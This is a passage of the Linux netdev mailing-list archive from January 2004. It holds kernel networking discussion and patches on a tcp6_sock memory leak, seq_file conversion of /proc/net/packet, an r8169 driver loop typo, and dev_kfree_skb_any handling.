BglghkgBhvhCAQ0EHxYdT3BlblNTTCBHZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFHGF b48a5LAWDpGcbEPw8Vn2aUYyMIHrBgNVHSMEgeMwgeCAFJyzCKYgVHSxntGNkKK4rHhml9G6oYHE pIHBMIG+MQswCQYDVQQGEwJERTEPMA0GA1UECBMGSGVzc2VuMRowGAYDVQQHExFGcmFua2Z1cnQg YW0gTWFpbjEhMB8GA1UEChMYSW5ub3ZhdGl2ZSBTb2Z0d2FyZSBHbWJIMR8wHQYDVQQLExZOZXR3 b3JrIEFkbWluaXN0cmF0aW9uMSIwIAYDVQQDExlJU0cgQ2VydGlmaWNhdGUgQXV0aG9yaXR5MRow GAYJKoZIhvcNAQkBFgtpbmZvQGlzZy5kZYIBADANBgkqhkiG9w0BAQQFAAOBgQAoJXnCqMVpxWXn Q2Oo/Jv8YHL5qeNyFMBmmWPMgt+ecjt1roE6hPpr22bny5nWgLaFgvQk6DptEOkmxFOmFLUDjQUA Rrypgr7Q5H3dILmsSKJPRWPiZPlwFtnA9Z7eSmnLbqF34kOmrt9NDPZxW/vx9fewVao2i0Fk0/n3 NpN0ETGCAh8wggIbAgEBMIHEMIG+MQswCQYDVQQGEwJERTEPMA0GA1UECBMGSGVzc2VuMRowGAYD VQQHExFGcmFua2Z1cnQgYW0gTWFpbjEhMB8GA1UEChMYSW5ub3ZhdGl2ZSBTb2Z0d2FyZSBHbWJI MR8wHQYDVQQLExZOZXR3b3JrIEFkbWluaXN0cmF0aW9uMSIwIAYDVQQDExlJU0cgQ2VydGlmaWNh dGUgQXV0aG9yaXR5MRowGAYJKoZIhvcNAQkBFgtpbmZvQGlzZy5kZQIBRzAJBgUrDgMCGgUAoIGx MBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTA0MDEwNTE2NTA1Nlow IwYJKoZIhvcNAQkEMRYEFMG1VMv2oQ9huoOf2E79m3hZ7W5TMFIGCSqGSIb3DQEJDzFFMEMwCgYI KoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMA0GCCqGSIb3DQMCAgFAMAcGBSsOAwIHMA0GCCqGSIb3 DQMCAgEoMA0GCSqGSIb3DQEBAQUABIGAMTE+Yg0t0/XRnOiw0D2VISwWOKjKKYnCkNdGHOkQWohJ +7uLlc1+pv6C/PK1JEcOM82l9ynE/ddOpcuKGdxPxujXc4uSq+kx/lAc+rWw7xSXUxxQpPjyVz9g oKDpnibM5P2dnVjyg0f7JZFUEILoPakkn/Rq8gG+VNvt2qr7RmM= --Boundary-02=_wXZ+/M91EO8KJ7L-- From erik@hensema.net Mon Jan 5 10:14:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 10:15:04 -0800 (PST) Received: from scrat.hensema.net (scrat.hensema.net [62.212.82.150]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05IEmTa004756 for ; Mon, 5 Jan 2004 10:14:48 -0800 Received: from dexter.hensema.net (cc78409-a.hnglo1.ov.home.nl [212.120.97.185]) by scrat.hensema.net (8.12.7/8.12.7/SuSE Linux 0.6) with ESMTP id i05IEhuB007560; Mon, 5 Jan 2004 19:14:43 +0100 Received: from bender.home.hensema.net (root@bender.ipv6.hensema.net [IPv6:2001:888:10a1:0:202:44ff:fe69:60f5]) by dexter.hensema.net (8.12.7/8.12.7) with ESMTP id i05IEhB5001230; Mon, 5 Jan 2004 19:14:43 +0100 Received: from bender.home.hensema.net (erik@localhost [127.0.0.1]) by bender.home.hensema.net (8.12.7/8.12.7) with ESMTP id i05IEhMY013681; Mon, 5 Jan 2004 19:14:43 +0100 Received: (from erik@localhost) by bender.home.hensema.net (8.12.7/8.12.7/Submit) id i05IEghW013680; Mon, 5 Jan 2004 19:14:42 +0100 Date: Mon, 5 Jan 2004 19:14:42 +0100 From: Erik Hensema To: "David S. Miller" Cc: Linus Torvalds , netdev@oss.sgi.com Subject: Re: 2.6.0: something is leaking memory Message-ID: <20040105181442.GA13674@bender.home.hensema.net> Reply-To: erik@hensema.net References: <20040104204834.40b6ca51.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040104204834.40b6ca51.davem@redhat.com> User-Agent: Mutt/1.4i X-archive-position: 2224 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: erik@hensema.net Precedence: bulk X-list: netdev On Sun, Jan 04, 2004 at 08:48:34PM -0800, David S. Miller wrote: > On Sun, 4 Jan 2004 18:30:21 -0800 (PST) > Linus Torvalds wrote: > > > You've got 19 _megabytes_ allocated to "tcp6_sock", and they are all > > marked as "active". That's almost certainly the leaking bug. > > > > Everything else looks reasonably normal. > ... > > David? > > Fixed by changeset 1.1496.16.1 which is in 2.6.1-rc1 Are you sure? tcp6_sock 1110 1136 1024 4 1 : tunables 54 27 0 : slabdata 284 284 0 dexter:~ # netstat --inet6 | wc -l 21 dexter:~ # uptime 19:13:22 up 4:36, 1 user, load average: 0.02, 0.08, 0.09 This is 2.6.1-rc1. I can't say anything definitive until after a few days of uptime, but it sure seems the leak is still there. -- Erik Hensema (erik@hensema.net) From davem@pizda.ninka.net Mon Jan 5 11:08:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 11:08:37 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05J8OTa006485 for ; Mon, 5 Jan 2004 11:08:24 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id LAA19381; Mon, 5 Jan 2004 11:02:48 -0800 Date: Mon, 5 Jan 2004 11:02:48 -0800 From: "David S. Miller" To: Stefan Rompf Cc: mostrows@watson.ibm.com, netdev@oss.sgi.com Subject: Re: Deadlock in sungem/ip_auto_config/linkwatch Message-Id: <20040105110248.04ed06b7.davem@redhat.com> In-Reply-To: <200401051550.51063.srompf@isg.de> References: <1073307882.2041.98320.camel@brick.watson.ibm.com> <200401051550.51063.srompf@isg.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2225 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 5 Jan 2004 15:50:50 +0100 Stefan Rompf wrote: > Btw, what is the planned difference between rtnl_shlock() and rtnl_exlock()? > Even though the later is a null operation right now, I don't want to hold > more locks than needed in the linkwatch code. The idea was originally to make the RTNL semaphore a read-write one, but I doubt we'll ever make that happen and the shlock bits will just disappear entirely. From shemminger@osdl.org Mon Jan 5 11:11:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 11:11:29 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05JBETa006920 for ; Mon, 5 Jan 2004 11:11:15 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i05JB3M26908; Mon, 5 Jan 2004 11:11:03 -0800 Date: Mon, 5 Jan 2004 11:10:59 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] multiple eth0 mixed PCI/ISA init Message-Id: <20040105111059.4a451146.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2226 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev This patch for 2.6 fixes the problem found by Zoltan Farkas with mixed PCI/ISA and a non-modular config. The problem is the old_netdev ISA probing isn't skipping "eth0" which already got assigned by the PCI initialization. diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Fri Dec 19 15:10:50 2003 +++ b/drivers/net/Space.c Fri Dec 19 15:10:50 2003 @@ -350,7 +350,7 @@ * Backwards compatibility - historically an I/O base of 1 was * used to indicate not to probe for this ethN interface */ - if (dev->base_addr == 1) { + if (__dev_get_by_name(dev->name) || dev->base_addr == 1) { free_netdev(dev); return -ENXIO; } From shemminger@osdl.org Mon Jan 5 12:17:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 12:17:23 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05KH6Ta010371 for ; Mon, 5 Jan 2004 12:17:06 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i05KGsM11421; Mon, 5 Jan 2004 12:16:54 -0800 Date: Mon, 5 Jan 2004 12:16:54 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] convert /proc/net/packet to seq_file Message-Id: <20040105121654.3cfbdfb6.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2227 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Convert AF_PACKET's /proc interface to seq_file. No change in functionality, but does fix problem with refcounting on this proc interface. diff -Nru a/net/packet/af_packet.c b/net/packet/af_packet.c --- a/net/packet/af_packet.c Mon Jan 5 12:14:55 2004 +++ b/net/packet/af_packet.c Mon Jan 5 12:14:55 2004 @@ -64,6 +64,7 @@ #include #include #include +#include #include #include #include @@ -1767,61 +1768,86 @@ }; #ifdef CONFIG_PROC_FS -static int packet_read_proc(char *buffer, char **start, off_t offset, - int length, int *eof, void *data) +static inline struct sock *packet_seq_idx(loff_t off) { - off_t pos=0; - off_t begin=0; - int len=0; struct sock *s; struct hlist_node *node; - - len+= sprintf(buffer,"sk RefCnt Type Proto Iface R Rmem User Inode\n"); + sk_for_each(s, node, &packet_sklist) { + if (!off--) + return s; + } + return NULL; +} + +static void *packet_seq_start(struct seq_file *seq, loff_t *pos) +{ read_lock(&packet_sklist_lock); + return *pos ? packet_seq_idx(*pos - 1) : SEQ_START_TOKEN; +} - sk_for_each(s, node, &packet_sklist) { - struct packet_opt *po = pkt_sk(s); +static void *packet_seq_next(struct seq_file *seq, void *v, loff_t *pos) +{ + ++*pos; + return (v == SEQ_START_TOKEN) + ? sk_head(&packet_sklist) + : sk_next((struct sock*)v) ; +} - len+=sprintf(buffer+len,"%p %-6d %-4d %04x %-5d %1d %-6u %-6u %-6lu", - s, - atomic_read(&s->sk_refcnt), - s->sk_type, - ntohs(po->num), - po->ifindex, - po->running, - atomic_read(&s->sk_rmem_alloc), - sock_i_uid(s), - sock_i_ino(s) - ); +static void packet_seq_stop(struct seq_file *seq, void *v) +{ + read_unlock(&packet_sklist_lock); +} - buffer[len++]='\n'; - - pos=begin+len; - if(posoffset+length) - goto done; +static int packet_seq_show(struct seq_file *seq, void *v) +{ + if (v == SEQ_START_TOKEN) + seq_puts(seq, "sk RefCnt Type Proto Iface R Rmem User Inode\n"); + else { + struct sock *s = v; + const struct packet_opt *po = pkt_sk(s); + + seq_printf(seq, + "%p %-6d %-4d %04x %-5d %1d %-6u %-6u %-6lu\n", + s, + atomic_read(&s->sk_refcnt), + s->sk_type, + ntohs(po->num), + po->ifindex, + po->running, + atomic_read(&s->sk_rmem_alloc), + sock_i_uid(s), + sock_i_ino(s) ); } - *eof = 1; -done: - read_unlock(&packet_sklist_lock); - *start=buffer+(offset-begin); - len-=(offset-begin); - if(len>length) - len=length; - if(len<0) - len=0; - return len; + return 0; } + +static struct seq_operations packet_seq_ops = { + .start = packet_seq_start, + .next = packet_seq_next, + .stop = packet_seq_stop, + .show = packet_seq_show, +}; + +static int packet_seq_open(struct inode *inode, struct file *file) +{ + return seq_open(file, &packet_seq_ops); +} + +static struct file_operations packet_seq_fops = { + .owner = THIS_MODULE, + .open = packet_seq_open, + .read = seq_read, + .llseek = seq_lseek, + .release = seq_release, +}; + #endif static void __exit packet_exit(void) { - remove_proc_entry("net/packet", 0); + proc_net_remove("packet"); unregister_netdevice_notifier(&packet_netdev_notifier); sock_unregister(PF_PACKET); return; @@ -1831,9 +1857,8 @@ { sock_register(&packet_family_ops); register_netdevice_notifier(&packet_netdev_notifier); -#ifdef CONFIG_PROC_FS - create_proc_read_entry("net/packet", 0, 0, packet_read_proc, NULL); -#endif + proc_net_fops_create("packet", 0, &packet_seq_fops); + return 0; } From davem@pizda.ninka.net Mon Jan 5 13:00:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 13:00:46 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05L0VTa017002 for ; Mon, 5 Jan 2004 13:00:33 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id MAA19770; Mon, 5 Jan 2004 12:54:56 -0800 Date: Mon, 5 Jan 2004 12:54:56 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] convert /proc/net/packet to seq_file Message-Id: <20040105125456.05acad7b.davem@redhat.com> In-Reply-To: <20040105121654.3cfbdfb6.shemminger@osdl.org> References: <20040105121654.3cfbdfb6.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2228 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 5 Jan 2004 12:16:54 -0800 Stephen Hemminger wrote: > Convert AF_PACKET's /proc interface to seq_file. No change in functionality, > but does fix problem with refcounting on this proc interface. Applied, thanks Stephen. From davem@pizda.ninka.net Mon Jan 5 13:02:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 13:02:46 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05L2XTa017414 for ; Mon, 5 Jan 2004 13:02:33 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id MAA19825; Mon, 5 Jan 2004 12:56:59 -0800 Date: Mon, 5 Jan 2004 12:56:59 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] multiple eth0 mixed PCI/ISA init Message-Id: <20040105125659.56c2f6b5.davem@redhat.com> In-Reply-To: <20040105111059.4a451146.shemminger@osdl.org> References: <20040105111059.4a451146.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2229 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 5 Jan 2004 11:10:59 -0800 Stephen Hemminger wrote: > This patch for 2.6 fixes the problem found by Zoltan Farkas > with mixed PCI/ISA and a non-modular config. The problem is the old_netdev > ISA probing isn't skipping "eth0" which already got assigned by the PCI > initialization. Applied, thanks Stephen. From romieu@fr.zoreil.com Mon Jan 5 14:20:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 14:20:49 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05MKXTa020038 for ; Mon, 5 Jan 2004 14:20:34 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i05MHgsW023074; Mon, 5 Jan 2004 23:17:42 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i05MHf78023073; Mon, 5 Jan 2004 23:17:41 +0100 Date: Mon, 5 Jan 2004 23:17:41 +0100 From: Francois Romieu To: akpm@osdl.org Cc: netdev@oss.sgi.com, Jeff Garzik , Brad House Subject: [patch] 2.6.1-rc1-mm1 - typo of death in the r8169 driver Message-ID: <20040105231741.A19514@electric-eye.fr.zoreil.com> References: <20031122183001.GA16993@gtf.org> <20031124000939.A456@electric-eye.fr.zoreil.com> <20031126004550.A25408@electric-eye.fr.zoreil.com> <20031127235143.A16767@electric-eye.fr.zoreil.com> <20031130014738.A2589@electric-eye.fr.zoreil.com> <3FF846C3.5070207@mainstreetsoftworks.com> <20040104233849.A3214@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="45Z9DzgjV8m4Oswq" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040104233849.A3214@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Sun, Jan 04, 2004 at 11:38:49PM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 2230 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev --45Z9DzgjV8m4Oswq Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi, silly bug in the r8169 driver. Please apply, thanks. -- Ueimor --45Z9DzgjV8m4Oswq Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="r8169-rx-fill-typo.patch" Oops... drivers/net/r8169.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -puN drivers/net/r8169.c~r8169-rx-fill-typo drivers/net/r8169.c --- linux-2.6.1-rc1-mm1/drivers/net/r8169.c~r8169-rx-fill-typo 2004-01-05 22:55:24.000000000 +0100 +++ linux-2.6.1-rc1-mm1-fr/drivers/net/r8169.c 2004-01-05 23:03:39.000000000 +0100 @@ -1186,7 +1186,7 @@ static u32 rtl8169_rx_fill(struct rtl816 { u32 cur; - for (cur = start; end - start > 0; cur++) { + for (cur = start; end - cur > 0; cur++) { int ret, i = cur % NUM_RX_DESC; if (tp->Rx_skbuff[i]) _ --45Z9DzgjV8m4Oswq-- From romieu@fr.zoreil.com Mon Jan 5 14:40:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 14:40:49 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05MeZTa020774 for ; Mon, 5 Jan 2004 14:40:36 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i05McOsW023388; Mon, 5 Jan 2004 23:38:24 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i05McO19023387; Mon, 5 Jan 2004 23:38:24 +0100 Date: Mon, 5 Jan 2004 23:38:23 +0100 From: Francois Romieu To: "Krishnakumar. R" Cc: jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: [PATCH] r8169 ethtool support. Message-ID: <20040105233823.B19514@electric-eye.fr.zoreil.com> References: <1073210391.3555.7.camel@l5ac210.l5.laser5.co.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1073210391.3555.7.camel@l5ac210.l5.laser5.co.jp>; from krishnakumar@naturesoft.net on Sun, Jan 04, 2004 at 06:59:51PM +0900 X-Organisation: Land of Sunshine Inc. X-archive-position: 2231 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Krishnakumar. R : [minimal ethtool for r8169] Added to the pile. -- Ueimor From davem@pizda.ninka.net Mon Jan 5 19:59:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 19:59:55 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i063xgTa007897 for ; Mon, 5 Jan 2004 19:59:42 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id TAA20708; Mon, 5 Jan 2004 19:54:03 -0800 Date: Mon, 5 Jan 2004 19:54:03 -0800 From: "David S. Miller" To: Jeff Garzik Cc: benh@kernel.crashing.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Problem with dev_kfree_skb_any() in 2.6.0 Message-Id: <20040105195403.65ac4e9e.davem@redhat.com> In-Reply-To: <20040102025807.GB3851@gtf.org> References: <1072567054.4112.14.camel@gaston> <20031227170755.4990419b.davem@redhat.com> <3FF0FA6A.8000904@pobox.com> <20031229205157.4c631f28.davem@redhat.com> <20031230051519.GA6916@gtf.org> <20031229220122.30078657.davem@redhat.com> <3FF11745.4060705@pobox.com> <20031229221345.31c8c763.davem@redhat.com> <3FF1B939.1090108@pobox.com> <20040101124218.258e8b73.davem@redhat.com> <20040102025807.GB3851@gtf.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2232 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 1 Jan 2004 21:58:07 -0500 Jeff Garzik wrote: > On Thu, Jan 01, 2004 at 12:42:18PM -0800, David S. Miller wrote: > > Though, is there any particular reason you don't like adding a > > "|| irqs_disabled()" check to the if statement instead? > > I prefer that solution better actually. > > Yep, in fact when I wrote the above message, I came across a couple when I > was pondering... > * the destructor runs in a more predictable context. > * given the problem that started this thread, the 'if' test is a > potentially problematic area. Why not eliminate all possibility that > this problem will occur again? The way I see this, dev_kfree_skb_any() is not used in any performance critical path, so at worst during device shutdown, reset, or power-down, TX queue packet freeing work could be delayed by up to one jiffie. Therefore I've put the "|| irqs_disabled()" version of the fix into my tree. Thanks for working this out with me Jeff :) From jgarzik@pobox.com Mon Jan 5 23:54:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 23:54:18 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i067s2Ta016121 for ; Mon, 5 Jan 2004 23:54:05 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:42061 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1Adm2L-00075l-P2; Tue, 06 Jan 2004 07:54:01 +0000 Message-ID: <3FFA6981.7030006@pobox.com> Date: Tue, 06 Jan 2004 02:53:37 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Francois Romieu CC: akpm@osdl.org, netdev@oss.sgi.com, Brad House Subject: Re: [patch] 2.6.1-rc1-mm1 - typo of death in the r8169 driver References: <20031122183001.GA16993@gtf.org> <20031124000939.A456@electric-eye.fr.zoreil.com> <20031126004550.A25408@electric-eye.fr.zoreil.com> <20031127235143.A16767@electric-eye.fr.zoreil.com> <20031130014738.A2589@electric-eye.fr.zoreil.com> <3FF846C3.5070207@mainstreetsoftworks.com> <20040104233849.A3214@electric-eye.fr.zoreil.com> <20040105231741.A19514@electric-eye.fr.zoreil.com> In-Reply-To: <20040105231741.A19514@electric-eye.fr.zoreil.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2234 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied From jgarzik@pobox.com Mon Jan 5 23:53:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 23:54:09 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i067rtTa016116 for ; Mon, 5 Jan 2004 23:53:56 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:42060 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1Adm2E-00075k-3g; Tue, 06 Jan 2004 07:53:54 +0000 Message-ID: <3FFA6978.3080509@pobox.com> Date: Tue, 06 Jan 2004 02:53:28 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Feldman, Scott" CC: netdev@oss.sgi.com, cramerj@intel.com Subject: Re: [e1000 2.6-exp] back out CSA interrupt fix References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2233 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied From jgarzik@pobox.com Tue Jan 6 00:04:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 00:04:54 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0684ZTa017071 for ; Tue, 6 Jan 2004 00:04:36 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:42077 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AdmCY-0007DO-Ey; Tue, 06 Jan 2004 08:04:34 +0000 Message-ID: <3FFA6BFB.6020100@pobox.com> Date: Tue, 06 Jan 2004 03:04:11 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Amir Noam CC: Jay Vosburgh , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [PATCH 1/3] [bonding 2.6] Save parameters in a per-bond data structure References: <200401051729.52769.amir.noam@intel.com> In-Reply-To: <200401051729.52769.amir.noam@intel.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2235 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied 1-3 to 2.6.x From jgarzik@pobox.com Tue Jan 6 00:06:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 00:07:15 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0686wTa017590 for ; Tue, 6 Jan 2004 00:06:59 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:42083 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AdmEr-0007FD-T9; Tue, 06 Jan 2004 08:06:58 +0000 Message-ID: <3FFA6C8B.1030203@pobox.com> Date: Tue, 06 Jan 2004 03:06:35 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Amir Noam CC: Jay Vosburgh , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [PATCH 1/3] [bonding 2.4] Save parameters in a per-bond data structure References: <200401051726.33613.amir.noam@intel.com> In-Reply-To: <200401051726.33613.amir.noam@intel.com> Content-Type: text/plain; charset=us-ascii; format=flowed 